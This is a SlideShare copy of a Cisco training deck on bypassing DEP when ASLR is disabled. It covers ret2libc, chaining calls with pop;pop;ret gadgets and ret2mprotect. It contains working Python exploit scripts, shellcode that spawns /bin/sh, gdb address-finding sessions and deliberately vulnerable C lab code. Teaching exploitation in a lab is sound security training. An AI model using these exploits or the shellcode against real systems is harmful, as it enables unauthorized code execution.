Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
SlideShare a Scribd company logo
Bypassing DEP 
Why ASLR matters 
Alex Moneger 
Security Engineer 
Why ASLR matters
Refresher 
 Classic buffer overflows store the shellcode on the stack 
 Shellcode is executed on the stack 
 This requires the stack to be executable 
 In modern Oss, stack is not executable, because it is a data section 
 Can we still exploit this? 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 2
Ret2libc 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 3
Approach 
 Consider ASLR is disabled. What impact does this have? 
 ASLR disabled = predictable addresses 
 What can we do with predictable addresses? 
 Maybe we can call them from the stack? 
 What do we control which allows hijacking of control flow? 
 SEIP (or local function pointer) again! 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 4
Concepts 
 We control SEIP (where we redirect the control flow to) 
 But can we control arguments passed to the function? 
 How are arguments passed to functions? On the stack! 
 Function expects it’s first argument at ebp+0x8 
 Where are ebp and esp at control flow hijack time? 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 5
Stack registers 
 Function epilogue (return from vulnerable 
function) 
mov esp,ebp 
pop ebp 
ret 
 Function prologue (function we control) 
push ebp 
mov ebp,esp 
 After the prologue of our function esp = 
ebp 
 esp = 0xa, ebp = 0xb, sebp = 
0x41414141 
1. esp = 0xb, ebp = 0xb, sebp = 
0x41414141 
2. esp = 0xb, ebp = 0x41414141 
3. esp = 0xb, ebp = 0x41414141 
4. esp = 0xb, ebp = 0xb 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 6
What it looks like after function prologue 
 esp = ebp 
 Function expects first arg to be at ebp 
+ 0x8 
 Function expects SEIP at ebp + 0x4 
 Our stack frame at entry of our 
controlled function looks like this: 
arg… 
arg1 
SEIP 
Func 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
EBP+0x8 
EBP+0x4 
EBP 
ESP 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 7
Libc maybe? 
 So we know we can call a function with arguments 
 What library provides all core components? Libc! 
 Let’s use functions in libc to exploit our program 
 A Shell would be nice, let’s use the system() function 
 System() takes one argument, the binary to run, “/bin/sh” would do it? 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 8
Stack System() example 
 We need the address of 
system() 
 We need the address of 
something pointing to “/bin/sh” 
 How do we get a random string 
in our binary: 
1. Environment variables 
2. “/bin/sh” string is in libc address 
space 
&”/bin/sh” 
JUNK 
&system 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
EBP+0x8 
EBP+0x4 
EBP 
ESP 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 9
Getting addresses 
cisco@kali:~/src/seccon/ch5$ invoke -d ch5 $(python -c 'print "A"*128') 
Reading symbols from /home/cisco/src/seccon/ch5/ch5...done. 
gdb$ break main 
Breakpoint 1 at 0x8048466: file ch5.c, line 12. 
gdb$ r 
Breakpoint 1, main (argc=2, argv=0xbffffdb4) at ch5.c:12 
gdb$ p/x &system 
$1 = 0xb7e9bf10 
gdb$ p/x &exit 
$2 = 0xb7e8f550 
gdb$ find 0xb7e9bf10,+99999999,"/bin/sh" 
0xb7f9a4f4 
warning: Unable to access target memory at 0xb7fc15fc, halting search. 
1 pattern found. 
gdb$ q 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 10
The exploit 
cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5.py 
#!/usr/bin/env python 
# -*- coding: utf-8 -*- 
import os 
import struct as s 
target = "ch5" 
overflow_len = 112 
system_addr = 0xb7e9bf10 
exit_addr = 0xb7e8f550 
sh_addr = 0xb7f9a4f4 
target_path = os.path.abspath(target) 
ex = 'A'*overflow_len 
# Hijack flow to system() 
ex += s.pack("<I", 0xb7e9bf10) 
# SEIP in system() context, be clean, call exit() 
ex += s.pack("<I", 0xb7e8f550) 
# Address of "/bin/sh" 
ex += s.pack("<I", 0xb7f9a4f4) 
os.execve(target_path, (target_path, ex), os.environ) 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 11
What it does 
 Hijacks flow to system() in libc 
 Passes the address of “/bin/sh” as argv 
 Puts exit() address as return address of system(). Exit cleanly 
cisco@kali:~/src/seccon/ch5$ invoke ./ch5.py 
$ exit 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 12
Chaining calls 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 13
1 functions call, come on… 
 How could you chain function calls? You need to be able to: 
1. Remove previous arguments from the stack 
2. Return to next function 
 Introduce the pop;pop;ret construct: 
1. Remember pop? It allows to control ESP, thus removing elements from the 
stack 
2. Ret effectively pops eip and jumps to it. 
 Maybe we could use as many pops as function arguments and return 
after that? 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 14
pop;pop;ret construct 
 The number of “pop reg” determines how 
many arguments are removed 
 Allows to chain function calls 
 Need to find pop;pop;ret 
&next_func 
arg1 
&pop;ret 
&next_func 
arg2 
arg1 
&pop;pop;ret 
&func 
ret 
pop reg 
ret 
pop reg 
pop reg 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 15
Finding pop;pop;ret 
 Find all rets in a binary, and disassemble backwards 
 Gives you an interesting set of elements to work with 
cisco@kali:~$ objdump -d -j .text -M intel /lib/libc.so.6 | grep ret -B 3 > ch5.ggt 
cisco@kali:~$ head ch5.ggt 
16c60: 55 push ebp 
16c61: 89 e5 mov ebp,esp 
16c63: 5d pop ebp 
16c64: c3 ret 
-- 
16ce7: 8b 7d fc mov edi,DWORD PTR [ebp-0x4] 
16cea: 89 ec mov esp,ebp 
16cec: 5d pop ebp 
16ced: c3 ret 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 16
Nice ppr 
 Avoid: 
1. leave instructions before the ret (;) fror now) 
2. Pop ebp if possible 
 They modify the stack 
 A nice one, which doesn’t change the stack: 
cisco@kali:~$ egrep "pop[[:space:]]+eax" -A 2 -B 1 ch5.ggt | tail -n 4 
d7f21: 59 pop ecx 
d7f22: 58 pop eax 
d7f23: c3 ret 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 17
Running anything 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 18
I want to use my shellcode 
 What if you want something that requires too much complexity? 
 Something for which you already have a shellcode maybe 
 Can I execute a shellcode ret2libc style? 
 You certainly can, under some classes of bugs 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 19
Mprotect() 
 Libc exposes mprotect() 
 Allows to set permissions for a page for memory 
 Prototype: 
SYNOPSIS 
#include <sys/mman.h> 
int mprotect(void *addr, size_t len, int prot); ret 
 Has to be aligned on page boundary: 
cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5-mp.py | grep stack 
stack_page = buf_addr & -0x1000 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 20
ret2mprotect 
 Let’s use mprotect() to change the 
permissions of the stack to RWE 
 Then jump to our shellcode 
 Example: shellcode address: 0xbffffce8: 
 Page address: 0xbffffce8 & -0x1000 = 0xbffff000 
 Mprotect(0xbffff000, 0x1000, 0x7), RWE = 0x7 
 Now, that page of stack is RWE 
 Jump to shellcode as usual => 0xbffffce8 
perms 
size 
&stack_page 
&shellcode 
&mprotect 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
Shellcode 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 21
Constraints 
 Vulnerabilities have to allow null bytes, because: 
1. Page boundaries contain null bytes by definition 
2. Size is a 32 bit integer 
3. Permissions is a 32 bit integer 
 All above contain null bytes 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 22
Can you spot it? 
cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5-mp.c 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
struct stuff { 
unsigned int len; 
char data[0x64]; 
}; 
char * vuln(FILE *fd) { 
struct stuff s; 
memset(&(s.len), 0, sizeof(s.len)); 
memset(&(s.data), 0, sizeof(s.data)); 
fread(&(s.len), 0x4, 0x1, fd); 
printf("Data is %d bytes longn", s.len); 
fread(&(s.data), s.len, 0x1, fd); 
printf("Got data from file: %sn", &(s.data)); 
char *p = &s + 0x4; 
return p; 
} 
int main(int argc, char **argv) { 
if (argc != 2) { 
exit(1); 
} 
FILE *fd = fopen(argv[1], "r"); 
char *p = vuln(fd); 
fclose(fd); 
return 0; 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 23 
}
Compile and run 
 Looks like we control length and data 
cisco@kali:~/src/seccon/ch5$ cc ch5-mp.c -fno-stack-protector -U_fortify_SOURCE -g -o ch5-mp 
cisco@kali:~/src/seccon/ch5$ python -c 'import struct as s; print s.pack("<I", 0x3)+"ABCD"' > /tmp/ 
cisco@kali:~/src/seccon/ch5$ ./ch5-mp /tmp/k 
Data is 3 bytes long 
Got data from file: ABC 
dahtah@kali:~/src/seccon/ch5$ python -c 'import struct as s; print s.pack("<I", 0x100)+"A"*0x74+"B"*4' > /tmp/f 
dahtah@kali:~/src/seccon/ch5$ invoke ch5-mp /tmp/f 
Data is 256 bytes long 
Got data from file: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAABBBB 
?@?????????跐??P? 
Segmentation fault 
cisco@kali:~/src/seccon/ch5$ dmesg | tail -n 1 
[971014.298327] ch5-mp[27676]: segfault at 42424242 ip 42424242 sp bffffd60 error 14 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 24
GDB time 
 We need our buffer address 
 We need libc mprotect address 
cisco@kali:~/src/seccon/ch5$ invoke -d ch5-mp /tmp/f 
Reading symbols from /home/cisco/src/seccon/ch5/ch5-mp...done. 
gdb$ break vuln 
Breakpoint 1 at 0x8048545: file ch5-mp.c, line 12. 
gdb$ r 
Breakpoint 1, vuln (fd=0x804a008) at ch5-mp.c:12 
gdb$ p/x &(s.data) 
$3 = 0xbffffce8 
gdb$ p/x &mprotect 
$2 = 0xb7f31e00 
gdb$ q 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 25
Putting it together 
target = "ch5-mp" 
target_file = "/tmp/f" 
overflow_len = 0x74 
mprotect_addr = 0xb7f31e00 
buf_addr = 0xbffffce8 
stack_page = buf_addr & -0x1000 
page_size = 0x1000 
rwe_perms = 0x7 
target_path = os.path.abspath(target) 
# setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0) 
sc = ("x6ax31x58x99xcdx80x89xc3x89xc1x6ax46" 
"x58xcdx80xb0x0bx52x68x6ex2fx73x68x68" 
"x2fx2fx62x69x89xe3x89xd1xcdx80") 
ex = sc 
ex += 'A'*(overflow_len - len(sc)) 
ex += s.pack("<I", mprotect_addr) 
ex += s.pack("<I", buf_addr) 
ex += s.pack("<I", stack_page) 
ex += s.pack("<I", page_size) 
ex += s.pack("<I", rwe_perms) 
f = open(target_file, "wb") 
f.write(s.pack("<I", len(ex))) 
f.write(ex) 
f.close() 
os.execve(target_path, (target_path, target_file), os.environ) 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 26
Test 
cisco@kali:~/src/seccon/ch5$ sudo sysctl -a | grep -i randomize 
kernel.randomize_va_space = 0 
cisco@kali:~/src/seccon/ch5$ readelf -l ch5-mp | grep STACK 
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 
cisco@kali:~/src/seccon/ch5$ invoke ch5-mp.py 
Data is 136 bytes long 
Got data from file: j1X?̀?É?jFX̀? 
Rhn/shh//bi???̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
$ exit 
 We changed a stack page to RWE using mprotect 
 We redirected to our shellcode 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 27
Take away 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 28
Conclusion 
 DEP is trivial to bypass without ASLR 
 You can run your shellcode in some circumstances 
 Mprotect is nice for runtime memory permission changes 
 Mprotect trick doesn’t work on grsec kernels 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 29
Exercise 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 30
Exercise time 
 Exploit ch5 using standard 
ret2libc() => call system() 
 Do the same thing, but print 
some greeting before your 
shellcode. Exit cleanly 
 Pick your favorite shellcode. 
Exploit ch5-mp using mprotect() 
trick 
 Can you make ch5-mp more 
reliable? How? Hint: what is that 
useless pointer there for? 
 Why doesn’t the above work? 
Read the ABI again ;) 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 31

More Related Content

05 - Bypassing DEP, or why ASLR matters

  • 1. Bypassing DEP Why ASLR matters Alex Moneger Security Engineer Why ASLR matters
  • 2. Refresher  Classic buffer overflows store the shellcode on the stack  Shellcode is executed on the stack  This requires the stack to be executable  In modern Oss, stack is not executable, because it is a data section  Can we still exploit this? © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 2
  • 3. Ret2libc © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 3
  • 4. Approach  Consider ASLR is disabled. What impact does this have?  ASLR disabled = predictable addresses  What can we do with predictable addresses?  Maybe we can call them from the stack?  What do we control which allows hijacking of control flow?  SEIP (or local function pointer) again! © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 4
  • 5. Concepts  We control SEIP (where we redirect the control flow to)  But can we control arguments passed to the function?  How are arguments passed to functions? On the stack!  Function expects it’s first argument at ebp+0x8  Where are ebp and esp at control flow hijack time? © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 5
  • 6. Stack registers  Function epilogue (return from vulnerable function) mov esp,ebp pop ebp ret  Function prologue (function we control) push ebp mov ebp,esp  After the prologue of our function esp = ebp  esp = 0xa, ebp = 0xb, sebp = 0x41414141 1. esp = 0xb, ebp = 0xb, sebp = 0x41414141 2. esp = 0xb, ebp = 0x41414141 3. esp = 0xb, ebp = 0x41414141 4. esp = 0xb, ebp = 0xb © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 6
  • 7. What it looks like after function prologue  esp = ebp  Function expects first arg to be at ebp + 0x8  Function expects SEIP at ebp + 0x4  Our stack frame at entry of our controlled function looks like this: arg… arg1 SEIP Func 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 EBP+0x8 EBP+0x4 EBP ESP © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 7
  • 8. Libc maybe?  So we know we can call a function with arguments  What library provides all core components? Libc!  Let’s use functions in libc to exploit our program  A Shell would be nice, let’s use the system() function  System() takes one argument, the binary to run, “/bin/sh” would do it? © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 8
  • 9. Stack System() example  We need the address of system()  We need the address of something pointing to “/bin/sh”  How do we get a random string in our binary: 1. Environment variables 2. “/bin/sh” string is in libc address space &”/bin/sh” JUNK &system 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 EBP+0x8 EBP+0x4 EBP ESP © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 9
  • 10. Getting addresses cisco@kali:~/src/seccon/ch5$ invoke -d ch5 $(python -c 'print "A"*128') Reading symbols from /home/cisco/src/seccon/ch5/ch5...done. gdb$ break main Breakpoint 1 at 0x8048466: file ch5.c, line 12. gdb$ r Breakpoint 1, main (argc=2, argv=0xbffffdb4) at ch5.c:12 gdb$ p/x &system $1 = 0xb7e9bf10 gdb$ p/x &exit $2 = 0xb7e8f550 gdb$ find 0xb7e9bf10,+99999999,"/bin/sh" 0xb7f9a4f4 warning: Unable to access target memory at 0xb7fc15fc, halting search. 1 pattern found. gdb$ q © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 10
  • 11. The exploit cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5.py #!/usr/bin/env python # -*- coding: utf-8 -*- import os import struct as s target = "ch5" overflow_len = 112 system_addr = 0xb7e9bf10 exit_addr = 0xb7e8f550 sh_addr = 0xb7f9a4f4 target_path = os.path.abspath(target) ex = 'A'*overflow_len # Hijack flow to system() ex += s.pack("<I", 0xb7e9bf10) # SEIP in system() context, be clean, call exit() ex += s.pack("<I", 0xb7e8f550) # Address of "/bin/sh" ex += s.pack("<I", 0xb7f9a4f4) os.execve(target_path, (target_path, ex), os.environ) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 11
  • 12. What it does  Hijacks flow to system() in libc  Passes the address of “/bin/sh” as argv  Puts exit() address as return address of system(). Exit cleanly cisco@kali:~/src/seccon/ch5$ invoke ./ch5.py $ exit © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 12
  • 13. Chaining calls © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 13
  • 14. 1 functions call, come on…  How could you chain function calls? You need to be able to: 1. Remove previous arguments from the stack 2. Return to next function  Introduce the pop;pop;ret construct: 1. Remember pop? It allows to control ESP, thus removing elements from the stack 2. Ret effectively pops eip and jumps to it.  Maybe we could use as many pops as function arguments and return after that? © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 14
  • 15. pop;pop;ret construct  The number of “pop reg” determines how many arguments are removed  Allows to chain function calls  Need to find pop;pop;ret &next_func arg1 &pop;ret &next_func arg2 arg1 &pop;pop;ret &func ret pop reg ret pop reg pop reg © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 15
  • 16. Finding pop;pop;ret  Find all rets in a binary, and disassemble backwards  Gives you an interesting set of elements to work with cisco@kali:~$ objdump -d -j .text -M intel /lib/libc.so.6 | grep ret -B 3 > ch5.ggt cisco@kali:~$ head ch5.ggt 16c60: 55 push ebp 16c61: 89 e5 mov ebp,esp 16c63: 5d pop ebp 16c64: c3 ret -- 16ce7: 8b 7d fc mov edi,DWORD PTR [ebp-0x4] 16cea: 89 ec mov esp,ebp 16cec: 5d pop ebp 16ced: c3 ret © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 16
  • 17. Nice ppr  Avoid: 1. leave instructions before the ret (;) fror now) 2. Pop ebp if possible  They modify the stack  A nice one, which doesn’t change the stack: cisco@kali:~$ egrep "pop[[:space:]]+eax" -A 2 -B 1 ch5.ggt | tail -n 4 d7f21: 59 pop ecx d7f22: 58 pop eax d7f23: c3 ret © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 17
  • 18. Running anything © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 18
  • 19. I want to use my shellcode  What if you want something that requires too much complexity?  Something for which you already have a shellcode maybe  Can I execute a shellcode ret2libc style?  You certainly can, under some classes of bugs © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 19
  • 20. Mprotect()  Libc exposes mprotect()  Allows to set permissions for a page for memory  Prototype: SYNOPSIS #include <sys/mman.h> int mprotect(void *addr, size_t len, int prot); ret  Has to be aligned on page boundary: cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5-mp.py | grep stack stack_page = buf_addr & -0x1000 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 20
  • 21. ret2mprotect  Let’s use mprotect() to change the permissions of the stack to RWE  Then jump to our shellcode  Example: shellcode address: 0xbffffce8:  Page address: 0xbffffce8 & -0x1000 = 0xbffff000  Mprotect(0xbffff000, 0x1000, 0x7), RWE = 0x7  Now, that page of stack is RWE  Jump to shellcode as usual => 0xbffffce8 perms size &stack_page &shellcode &mprotect 0x41414141 0x41414141 0x41414141 0x41414141 Shellcode © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 21
  • 22. Constraints  Vulnerabilities have to allow null bytes, because: 1. Page boundaries contain null bytes by definition 2. Size is a 32 bit integer 3. Permissions is a 32 bit integer  All above contain null bytes © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 22
  • 23. Can you spot it? cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5-mp.c #include <stdlib.h> #include <stdio.h> #include <string.h> struct stuff { unsigned int len; char data[0x64]; }; char * vuln(FILE *fd) { struct stuff s; memset(&(s.len), 0, sizeof(s.len)); memset(&(s.data), 0, sizeof(s.data)); fread(&(s.len), 0x4, 0x1, fd); printf("Data is %d bytes longn", s.len); fread(&(s.data), s.len, 0x1, fd); printf("Got data from file: %sn", &(s.data)); char *p = &s + 0x4; return p; } int main(int argc, char **argv) { if (argc != 2) { exit(1); } FILE *fd = fopen(argv[1], "r"); char *p = vuln(fd); fclose(fd); return 0; © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 23 }
  • 24. Compile and run  Looks like we control length and data cisco@kali:~/src/seccon/ch5$ cc ch5-mp.c -fno-stack-protector -U_fortify_SOURCE -g -o ch5-mp cisco@kali:~/src/seccon/ch5$ python -c 'import struct as s; print s.pack("<I", 0x3)+"ABCD"' > /tmp/ cisco@kali:~/src/seccon/ch5$ ./ch5-mp /tmp/k Data is 3 bytes long Got data from file: ABC dahtah@kali:~/src/seccon/ch5$ python -c 'import struct as s; print s.pack("<I", 0x100)+"A"*0x74+"B"*4' > /tmp/f dahtah@kali:~/src/seccon/ch5$ invoke ch5-mp /tmp/f Data is 256 bytes long Got data from file: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAABBBB ?@?????????跐??P? Segmentation fault cisco@kali:~/src/seccon/ch5$ dmesg | tail -n 1 [971014.298327] ch5-mp[27676]: segfault at 42424242 ip 42424242 sp bffffd60 error 14 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 24
  • 25. GDB time  We need our buffer address  We need libc mprotect address cisco@kali:~/src/seccon/ch5$ invoke -d ch5-mp /tmp/f Reading symbols from /home/cisco/src/seccon/ch5/ch5-mp...done. gdb$ break vuln Breakpoint 1 at 0x8048545: file ch5-mp.c, line 12. gdb$ r Breakpoint 1, vuln (fd=0x804a008) at ch5-mp.c:12 gdb$ p/x &(s.data) $3 = 0xbffffce8 gdb$ p/x &mprotect $2 = 0xb7f31e00 gdb$ q © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 25
  • 26. Putting it together target = "ch5-mp" target_file = "/tmp/f" overflow_len = 0x74 mprotect_addr = 0xb7f31e00 buf_addr = 0xbffffce8 stack_page = buf_addr & -0x1000 page_size = 0x1000 rwe_perms = 0x7 target_path = os.path.abspath(target) # setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0) sc = ("x6ax31x58x99xcdx80x89xc3x89xc1x6ax46" "x58xcdx80xb0x0bx52x68x6ex2fx73x68x68" "x2fx2fx62x69x89xe3x89xd1xcdx80") ex = sc ex += 'A'*(overflow_len - len(sc)) ex += s.pack("<I", mprotect_addr) ex += s.pack("<I", buf_addr) ex += s.pack("<I", stack_page) ex += s.pack("<I", page_size) ex += s.pack("<I", rwe_perms) f = open(target_file, "wb") f.write(s.pack("<I", len(ex))) f.write(ex) f.close() os.execve(target_path, (target_path, target_file), os.environ) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 26
  • 27. Test cisco@kali:~/src/seccon/ch5$ sudo sysctl -a | grep -i randomize kernel.randomize_va_space = 0 cisco@kali:~/src/seccon/ch5$ readelf -l ch5-mp | grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 cisco@kali:~/src/seccon/ch5$ invoke ch5-mp.py Data is 136 bytes long Got data from file: j1X?̀?É?jFX̀? Rhn/shh//bi???̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ exit  We changed a stack page to RWE using mprotect  We redirected to our shellcode © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 27
  • 28. Take away © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 28
  • 29. Conclusion  DEP is trivial to bypass without ASLR  You can run your shellcode in some circumstances  Mprotect is nice for runtime memory permission changes  Mprotect trick doesn’t work on grsec kernels © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 29
  • 30. Exercise © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 30
  • 31. Exercise time  Exploit ch5 using standard ret2libc() => call system()  Do the same thing, but print some greeting before your shellcode. Exit cleanly  Pick your favorite shellcode. Exploit ch5-mp using mprotect() trick  Can you make ch5-mp more reliable? How? Hint: what is that useless pointer there for?  Why doesn’t the above work? Read the ABI again ;) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 31

Editor's Notes

  1. ----- Meeting Notes (28/04/2014 16:14) ----- make clearer
  2. ----- Meeting Notes (28/04/2014 16:14) ----- Put comment or diagram